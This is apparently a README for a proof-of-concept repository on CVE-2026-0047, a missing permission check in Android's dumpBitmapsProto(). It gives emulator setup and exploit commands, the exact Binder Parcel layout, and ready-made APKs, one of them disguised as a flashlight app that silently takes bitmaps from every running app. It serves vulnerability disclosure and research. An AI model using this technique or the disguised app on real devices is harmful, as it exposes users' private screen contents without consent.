CVE-2026-0047: Missing Permission Check in ActivityManagerService

Heap of bitmaps stolen from every running app — zero permissions, zero user interaction.

A missing enforceCallingOrSelfPermission(DUMP) check in ActivityManagerService.dumpBitmapsProto() allows any installed app to exfiltrate UI bitmaps from all running processes on Android 16 QPR2 Beta (Baklava).

Note: We did not discover this vulnerability. All credit for finding and responsibly reporting goes to the original researchers. This repository contains our independent patch analysis, reproduction, and educational writeup to help the security community understand the bug class and exploitation techniques involved.

├── app/                    # PoC exploit app (audit tool UI)
├── attacker/               # "Flashlight Pro" — disguised attacker app
├── apk/                    # Pre-built APKs (ready to install)
│   ├── cve-2026-0047-poc.apk
│   └── flashlight-pro-attacker.apk
├── exploit.sh              # Single-shot exploit script
├── gradle/                 # Gradle wrapper
└── README.md

You need an Android 16 QPR2 Beta (Baklava) emulator with a security patch level before 2026-03-01:

# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"

# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"

# Boot the emulator
emulator -avd baklava &

# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable

# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator

# Already have a Baklava emulator running?
./exploit.sh

# Skip build, just run exploit
./exploit.sh --skip-build

# Install the PoC app
adb install apk/cve-2026-0047-poc.apk

# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings

# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity

# Tap "Exploit dumpBitmapsProto()" button

# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk

# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity

1. Raw Binder probe — Transaction code #117 on the activity service maps to dumpBitmapsProto(). Sending it without arguments causes a NullPointerException inside AMS (not a SecurityException), proving the method body executes without any permission check.

2. Raw Binder exploit — We use IBinder.transact() to send a hand-crafted Parcel directly to AMS. This bypasses Android's hidden API restrictions entirely — no hidden_api_policy setting needed. The Parcel contains:

   • Interface token (android.app.IActivityManager)
   • Non-null marker + ParcelFileDescriptor (pipe write end)
   • Empty string array (all processes)
   • userId = -2 (USER_CURRENT)
   • dumpAll = true
   • format = "png"

3. Bitmap extraction — AMS writes protobuf data containing PNG bitmaps to the pipe. We scan for PNG magic bytes (89 50 4E 47) and IEND trailers to extract individual images.

On a Baklava emulator (BP41.250725.007, patch 2025-08-05) with Settings, Clock, and Files open:

• 679,091 bytes of protobuf data
• 63 valid PNG images stolen from all running apps
• Zero permissions declared by the PoC app

Google added enforceCallingOrSelfPermission(DUMP) as the first line of dumpBitmapsProto(), so unprivileged callers now get a SecurityException before any data is accessed.

• Android Security Bulletin — March 2026
• CVE-2026-0047 — NVD
• CWE-280: Improper Handling of Insufficient Permissions
• Blog post: Full analysis and exploitation walkthrough

Research and PoC by Mobile Hacking Lab. We reproduced this vulnerability independently for educational purposes.

This proof of concept is provided for educational and authorized security research purposes only. Only use it on devices and environments you own or have explicit permission to test. The authors are not responsible for any misuse.